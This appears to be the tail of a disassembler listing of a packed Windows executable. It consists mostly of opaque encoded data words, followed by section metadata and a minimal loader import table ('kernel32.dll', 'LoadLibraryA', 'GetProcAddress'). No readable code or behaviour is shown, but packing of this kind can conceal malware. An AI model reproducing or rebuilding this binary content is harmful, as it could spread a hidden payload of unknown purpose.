0D00F5C58h, 84A95018h, 344645BDh, 28C8DD76h, 91A5AF71h dd 8971E1A5h, 4C468928h, 12754529h, 34B17909h, 59321FF1h dd 0CE1BE5CCh, 91C54671h, 0B5DDA21Bh, 0B8191053h, 69908585h dd 2B1B0AA9h, 0FD535379h, 0B511A67Ah, 0AD89AC47h, 6EE1441Bh dd 8948F923h, 0B7478AF3h, 380595DCh, 728D41A8h, 6C4BB454h dd 0F924C88Ah, 32B30DA1h, 6739E447h, 1CE8517Bh, 179BF512h dd 1642F111h, 0A5BF89C8h, 3052CD7Fh, 44A9351Eh, 0BE4F1E97h dd 0E1644CC8h, 0D476DE84h, 36650FE8h, 23A117Dh, 0B8AEA2A2h dd 41882095h, 6D250CA3h, 0CB6C2581h, 2F13E97h, 35102E5Bh dd 548E4AA5h, 422AE2F4h, 4D11438Fh, 1E418C58h, 9E27B915h dd 264CD45Fh, 44B25C8Ah, 43B64419h, 2D88E4B8h, 9219E7A5h dd 446DE7FBh, 51E4DE6Fh dd 0A33119B3h, 118B39FCh, 90AF8CFEh, 517A3554h, 11F60A80h dd 849D08B9h, 0B867B045h, 35C219C8h, 0C5756AA1h, 204C26B7h dd 28CBA413h, 822E68A2h, 647A5C8Ah, 40C05601h, 0A44B91FEh dd 42854508h, 0AC7E351Ch, 4465A5BAh, 24308632h, 0EC740548h dd 35126926h, 26644B99h, 46091B32h, 0A4169761h, 9DDE2BA8h dd 1F0D692Bh, 0B4257949h, 0D532C80h, 0B5FD33D1h, 7C8904D9h dd 721CA538h, 42CC0FD2h, 77C9BA46h, 19574936h, 0CFEB1340h dd 0D0E110CEh, 8D8D5C19h, 3789B621h, 0AF57D167h, 0E8660F99h dd 70942E51h, 46885E92h, 10BB4AB6h, 50FC2870h, 10D70F8Ch dd 0B606D54Dh, 514354B9h, 4F2E4DF0h, 5184818Ch, 64609EDBh dd 74825F54h, 0B04413B3h, 0D80AA443h, 9C664806h, 48B3B1B6h dd 368E5E50h, 851C16D3h, 8A2B9D6Eh, 0F78CF32Ah, 41600CDEh dd 40A3CEA9h, 0D7125828h, 82E35B6h, 360A0E29h, 546951F6h dd 4A69D8B4h, 72D93480h, 73115A3Ah, 11497DC9h, 0F8532856h dd 6D1FF808h, 0F60E08D4h, 9566862Eh, 9004CA6Fh, 0C14A4F73h dd 8714258Dh, 0CCB07DA4h, 3B484144h, 284B4D31h, 35164786h dd 1C774151h, 3FF09CA9h, 9AE95E29h, 0F660B931h, 285CEE68h dd 78516A79h, 69832609h, 161322F8h, 7A6A7666h, 0A5C1819h dd 9A6A8892h, 0A1455855h, 0E12F0F6Ah, 0A12C0B0Eh, 10AD19DFh dd 0C06E1381h, 0BCB928D4h, 0BED6EA83h, 2F449C2Ch, 44B61982h dd 46581061h, 45621E15h, 10605014h, 567E4DBCh, 55461195h dd 28EDB5EDh, 269A76F6h, 0EE8B873h, 74D3BCCh, 0F710532Ah dd 0E572DA19h, 780F7869h, 32D882E9h, 3ACB61CAh, 7EB12A8Dh dd 0B93F434Ch, 0AE384B4h, 16B8AD4Ch, 0BFB72959h, 97394838h dd 8459BA87h, 0B78C7DECh, 0BA5852ADh, 2E166431h, 785F6345h dd 0C574B536h, 855F4268h, 0CD2F8FB6h, 0BCDB612h, 71C5037Ch dd 9A5B9918h, 0A01927D8h, 0EA3D6239h, 9C2D0E2Ch, 1F15C65Bh dd 0B66444DEh, 179241A7h, 5361BB2h, 0F6012291h, 3AA152Bh dd 62D0527Dh, 0B78F914Eh, 2A20CE41h, 25D02ED9h, 67D4BAECh dd 2335060Dh, 67DD593Bh, 0D851E9F6h, 0B2FA6516h, 121DA04Dh dd 0F9BC5F5Ch, 11078286h, 90F2660Dh, 0A4402E95h, 0E0A1D20Eh dd 18A23962h, 635C5712h, 2B389545h, 0DE701428h, 1D0A08E0h dd 5134792Eh, 0D42D53D1h, 2E3B59BDh, 466493Dh, 2867B807h dd 614280DDh, 0C33B639Eh, 2D23867Dh, 0C4423FA3h, 422BA329h dd 9E80902Bh, 6121473Ch, 84A32950h, 0EF862D76h, 4D3730F6h dd 0B40DB293h, 564A23EDh, 6473D6DCh, 4D96A0FDh, 6E9A4C41h dd 0EB76AB11h, 0D929F29h, 88714C68h, 0EE9498B6h, 5482173h dd 0AAE73716h, 27F30E68h, 9632AA47h, 94719731h, 1DE25507h dd 2920D228h, 696829FEh, 0B5D07583h, 5D4D2E20h, 34784504h dd 3E1A2C62h, 2756628Ch, 991BD1DEh, 6D4AC4B6h, 0A3BC6588h dd 74290BE1h, 0EF8703CCh, 9C0B3224h, 4DD13617h, 0E6CBDE55h dd 0B674394h, 0D5A6D761h, 39DD5C64h, 770D538Ch, 628945ECh dd 4DB617F0h, 9459BC34h, 0B42F215Eh, 788265D3h, 0A183D645h dd 0C8DF4B9Fh, 34C76E19h, 42252AB6h, 0F0932925h, 40156C4Ch dd 0B5295550h, 11CB2C2h, 0B244599Bh, 281FB00Bh, 151DCE5Bh dd 4A902554h, 0B68D2588h, 0B611968h, 0AD224939h, 6142D7FBh dd 0E5668F0Fh, 312C4E28h, 594A841Ah, 0AE0307F4h, 0EF8A98C4h dd 0F849422Bh, 4609A3A5h, 85808ADAh, 0DBCA152h, 0C868F8B4h dd 423541A5h, 9111261Dh, 0A04E24B3h, 28243A22h, 0B0591E57h dd 45C4E462h, 5535055Eh, 0A1B55361h, 0A4C85217h, 9AFE9EF2h dd 0AFB2FCB9h, 3ACC12A0h, 8538214Ah, 0CDC6854h, 222B1216h dd 28923503h, 0D378F54h, 0E8A541E7h, 25600819h, 44D0D611h dd 0C61EB10Ch, 68541E92h, 89DC4A3Bh, 0F529AC72h, 0AD453E16h dd 603AE04h, 294F285Eh, 218FB1A4h, 55B50922h, 0F54BBB7Ah dd 0B1B31B16h, 3DE6B4D3h, 0E18A414Fh, 9D72A092h, 171CA745h dd 0E15EA8D5h, 68384A7h, 0B458700Dh, 323FA392h, 1440DEDDh dd 352A0329h, 0B1214801h, 60E592A7h, 5354B3Bh, 0A54916A5h dd 136432D5h, 5C158048h, 519B4197h, 0E5B5134Ch, 62B6DD8Ah dd 0B551E030h, 5B9BA03Ah, 0B2447614h, 1AA1316Dh, 7436DC4Ah dd 0D01DB641h, 0BD310B44h, 633AD948h, 1B4660A3h, 91DD2214h dd 7FD4DB30h, 0FA1F1210h, 4A5F2911h, 24DE2AD8h, 9463599Dh dd 8BA457A5h, 67371435h, 0FF08D218h, 217A28AAh, 620A0B1h dd 85535D58h, 4111DDB4h, 99B2B16h, 90261D14h, 0B50640CFh dd 0F5C4214Bh, 0AEA1FFA0h, 91115C5Fh, 2522C9CAh, 6371F6AEh dd 4ACFD840h, 0CD8A0821h, 86C9C26Ch, 5864025Eh, 412A69A6h dd 62D14A3Ah, 7F13CD16h, 967599CAh, 46CAF215h, 0A10D210Eh dd 4A554510h, 0A380A939h, 141D1112h, 0B85F70B6h, 0DAA346A9h dd 3271EE6Ah, 0FD2A1937h, 65B0B510h, 579A0CA8h, 7A10B20Ch dd 0F2159169h, 94079561h, 0D695B88Dh, 81966545h, 0C6DA238Dh dd 0C85554Dh, 15BD19DAh, 0C6D07A32h, 273FBE27h, 15D11791h dd 684374B2h, 4D229C43h, 962A0CD1h, 980A78DDh, 49991D22h dd 9A100C67h, 4A49ED58h, 3D45B23Dh, 15E5359Bh, 552025A8h dd 83D5014Fh, 0A9E5E682h, 5A5FEEB6h, 5EB0DB7Dh, 0B6A8FC9h dd 9A51E5A3h, 9F083148h, 221A4BA9h, 86F14142h, 681CCC2Ch dd 0C121539Bh, 76BB552Eh, 0FC6DFE28h, 0A068FB60h, 0C23C4188h dd 8F350498h, 0A48B194Dh, 9F1DA174h, 90871EEDh, 0C8A54B83h dd 9BBDAD00h, 5544BC1Eh, 5F317DA3h, 246766FAh, 625F5E4Fh dd 0B12DA357h, 0A0787BFAh, 0CE9541A0h, 5FB32490h, 454DFFCAh dd 902C28C6h, 9A428616h, 2D22FDC6h, 5F9AB482h, 0F6B17586h dd 0F2C9AD8Ch, 2F3C7BE1h, 9535AEE9h, 7F2EC52Fh, 0D6C43CA5h dd 6483F657h, 42A2C928h, 6D6E51Bh, 8910C24h, 0E00E50CBh dd 25138A5Fh, 3DE5742Ah, 584B6153h, 5A84306Eh, 31EB5291h dd 5B1C541Dh, 1B960229h, 0B9BD363Ah, 88CAFE9Ch, 9939CA9Dh dd 0E92E2B61h, 1DA33B13h, 0B458AECCh, 6CEA5275h, 0E529389Dh dd 13C85E76h, 85E039FDh, 59A59C51h, 9B8D35A9h, 0B5329D20h dd 6073A7E2h, 582F5066h, 0A24A2CB4h, 7697F55Eh, 0D99963B4h dd 4D5D985Fh, 6888324Bh, 355B5D23h, 41C28525h, 290DA5E5h dd 0C213BE1Eh, 1E126729h, 996C5144h, 12487512h, 8C42F233h dd 8B4B12C8h, 0FB5A60A1h, 14A256F6h, 8C890B2Bh, 0AC1B9812h dd 45D8FA16h, 6060489h, 9B992E1Eh, 274144C8h, 79893872h dd 0EB453B1Bh, 99B60F40h, 28022E2Bh, 9D744E3Fh, 0E085102Dh dd 82532322h, 21764167h, 926FB6C3h, 571FB473h, 57823050h dd 11BB5128h, 0B67DF20Bh, 3E5288CFh, 0E45A1A2h, 0C4BF246Ah dd 0B5210344h, 0A6CAF8Fh, 0D06732E3h, 0F5CD141Dh, 0DE347BCCh dd 8E42D525h, 7E512DA2h, 28D16B01h, 27CD5165h, 36488E6Ch dd 3414F925h, 502153DEh, 9185A0BEh, 9466D081h, 150D8A36h dd 2CA11332h, 7D2C358Eh, 0D24EFD40h, 412981CFh, 0B1B58610h dd 0B4250CB9h, 0E53611CBh, 9E29CD02h, 66F582F9h, 4AC889F0h dd 0C833BA65h, 0AB94B509h, 584F9E66h, 5B3DF949h, 2345BBFCh dd 0C42B582Bh, 85AD1B2Eh, 593D36E6h, 104A2FD8h, 4861DED0h dd 7934DCD5h, 0A2163C9Fh, 0B5D5690Ah, 5B715A32h, 0CD399FC9h dd 1DDC45A2h, 44B5F889h, 51182508h, 12270B9Bh, 71129A4Dh dd 0E8A967F3h, 261A535Ah dd 521D9235h, 92BEC900h, 0DCCAC532h, 84A0B510h, 102E1476h dd 51ACA0B5h, 5EF1228Ch, 6540F525h, 4D852E6Dh, 0C012DA62h dd 0A1C935FDh, 0E44E81Ah, 0D88276A9h, 208DA109h, 0C8D7290Ch dd 49358515h, 0BDAD725Fh, 5A15B510h, 7C4D39ADh, 41644F6Bh dd 2F6F8773h, 7B19AD4Eh, 497B09B1h, 0CF192599h, 531EE605h dd 0B50D1049h, 760CBE40h, 0D13642D9h, 85C829E0h, 0B5E96E2Fh dd 34A13B1Dh, 943C47ADh, 79A28760h, 0B830798Eh, 0F90A8551h dd 0B942EABFh, 0FC0EC6A0h, 0B68040FAh, 0C83D7053h, 3A45DE09h dd 19232F1Bh, 8B146579h, 25DE391Bh, 0B56A711h, 678359CBh dd 0B960651Ah, 639466B5h, 548F801Fh, 24B6B89Ah, 99C97B4Dh dd 1651135Ah, 67ADEF60h, 351A7C6Ch, 0C2D578A1h, 0CC58795Bh dd 8929B51Bh, 7DE364BCh, 0B9781F3Bh, 0BB0D325Fh, 5E8062h dd 0A8ACB544h, 250AADF5h, 0BC43D94Dh, 15D760CEh, 7D50BD35h dd 0B54BA56Bh, 0D4249FE2h, 7C6D4277h, 42B31291h, 585F50Dh dd 8112329Dh, 2D088311h, 97227F46h, 0BD18D507h, 6D3520DDh dd 4A0D87C6h, 52DA0C6Ch, 0ABB9A9FEh, 14FD4B92h, 4BFFB27Fh dd 0CB4428A5h, 633731C0h, 0A47E0D35h, 0FFD6453Fh, 32CDF5DFh dd 0AA2F210Fh, 533E05FDh, 6E372612h, 0E752ED64h, 8B3D554Bh dd 4B5028BCh, 0D841223Fh, 0D56B629h, 9FC33294h, 18B755D2h dd 1F457847h, 5F7D7D41h, 94DCFBEAh, 4745964Fh, 588F187Ch dd 55282F3h, 27BBC4C5h, 94A3C45Bh, 0B4519DFCh, 2972BA6Eh dd 42188B35h, 25ECD3CDh, 0D8D7D918h, 96211969h, 2921427Ah dd 7993C5DBh, 10D51922h, 0B05B50B5h, 0A053FA44h, 177B51F2h dd 0F5420968h, 9798D63Eh, 0B15BACB5h, 9D3B42C8h, 12DCF488h dd 378420D5h, 22BFE51Ch, 83587626h, 0A49DDE28h, 5E2A6DADh dd 0C494CA0Dh, 21D44F2Eh, 0D922B74Ch, 0C10654FDh, 0A1555796h dd 1D850C26h, 0D2C5951h, 61108D6Dh, 268AA892h, 8F664D75h dd 172F45A2h, 215E34DBh, 220AA1D5h, 989C976Dh, 656B2287h dd 59810AA7h, 780D50F7h, 0A6752184h, 47B14B08h, 35BBC8F3h dd 0E6180D79h, 0D0B5E545h, 0D22DC93h, 17E892CAh, 0E299B50Bh dd 0F3171619h, 0BF2A5BABh, 40E511C2h, 68B69A84h, 0D6ED8A59h dd 4DA38127h, 1BB94B2Eh, 1440D0A8h, 53DCD99Ah, 0B615F042h dd 8521F280h, 0DD3F8B90h, 599310C3h, 0D042A990h, 4D21ECF4h dd 41649347h, 13D319E8h, 0A1497851h, 4EC63C85h, 9464E212h dd 6BB6E99Ch, 5A41CB17h, 7FAE6855h, 73A773DCh, 4DC10BC8h dd 244F8733h, 7568BFCAh, 327F17DEh, 0CDD6A919h, 294B3B52h dd 3E98A9FCh, 1B49789Bh, 39B50C36h, 605B7E00h, 10384400h dd 454B0760h, 4C304E52h, 382E3233h, 3F06C64h, 65724380h dd 4D997461h, 78088C75h, 0FB471C41h, 73FD4CF1h, 0E27245F0h dd 4F01E76Fh, 596EFD70h, 5228081Ah, 6F636DF8h, 3368540Ch dd 5728641Bh, 1A3369BBh, 0F3635650h, 7F4D8B73h, 28796335h dd 74B06956h, 6C366175h, 332EB841h, 44207845h, 69EB70EBh dd 487477D6h, 0DBE26E6Eh, 0C60CD623h, 0C69461Ch, 6157ADC6h dd 709FF784h, 676E8C53h, 623A4F20h, 0D3633F6Ah, 41554085h dd 0B3ED6471h, 0E64C20B3h, 7D69E8DAh, 0C0A1ED62h, 73B23289h dd 57284DBBh, 76508544h, 70507992h, 0BBA36C4Fh, 6E572EF6h dd 676F1BC9h, 204DFDF3h, 0C79B3053h, 0F2683373h, 0BA14374h dd 2BDD4E14h, 0FA08C74h, 737208C5h, 0BE0D1064h, 9BDBCD70h dd 6F283C76h, 74AC6D32h, 47664594h, 51B46282h, 0B2C69F46h dd 24F01A0Ch, 9825477h, 4E428370h, 38685261h, 3FD853D0h dd 72717543h, 0D13699D5h, 0F3573713h, 44D677E7h, 0CDFF8BD0h dd 6C5FE531h, 93888EAh, 5A20ADA3h, 436BCF80h, 7AD175FAh dd 0D1459056h, 0F0F6DEF9h, 90496015h, 67756265h, 0B772D5E3h dd 2DBA383Ch, 6952C920h, 943A9070h, 3CADA6C2h, 75286F4Dh dd 0A2B2879Dh, 7970244Ch, 9D53E746h, 68D2041Eh, 26FF539Ch dd 0F927F22h, 123AD4DAh, 62970D80h, 65D0E40Ah, 53CF498Ch dd 709C34DEh, 0F003FF19h, 0FF558134h, 7F228231h, 0D60268C9h dd 0BD437055h, 3A375AEh, 746191CCh, 2A080466h, 535782FCh dd 313B5F32h, 0E090803h, 41288A80h, 741ACC49h, 9011924h dd 22070991h, 1E0B5196h, 1D6B05CAh, 441CE884h, 14891633h dd 9220313h, 11054412h, 2120F89h, 1487224h, 0C280A91h dd 4110E179h, 50E65644h, 94A54952h, 0CFA541F9h, 14A412ADh dd 4326440Ah, 820EA862h, 8A458FAAh, 25A6B668h, 0E681CC8h dd 634D43C2h, 82949439h, 1F43AE8Ah, 35E4024Dh, 36503415h dd 3C98D10Ch, 6661A4AAh, 44C4B267h, 84739672h, 6852893Ch dd 3E671695h, 777C7894h, 8123FD66h, 554CDF79h, 87DA556Ch dd 0C54B7B27h, 0CB0D5979h, 75A63056h, 410C30FDh, 7911DA4h dd 81FA3DB7h, 0CB7563E2h, 2949F3CDh, 78636F9Eh, 7934132h dd 8EDA16C9h, 443BA410h, 53484DE8h, 434F0984h, 543A304Bh dd 7394C272h, 3166696Dh, 1CD8h, 7E000000h, 6B00605Bh, 656E7265h dd 2E32336Ch, 6C6C64h, 64616F4Ch, 7262694Ch, 41797261h dd 74654700h, 636F7250h, 72646441h, 737365h ; [00000005 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND] db 0Ch, 60h, 0 dd 2 dup(0) dd 7D9300h, 600C00h, 8Bh dup(0) __u_____ ends ; Section 3. (virtual address 00008000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00008000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 608000h dd 80h dup(0) align 1000h _idata2 ends end start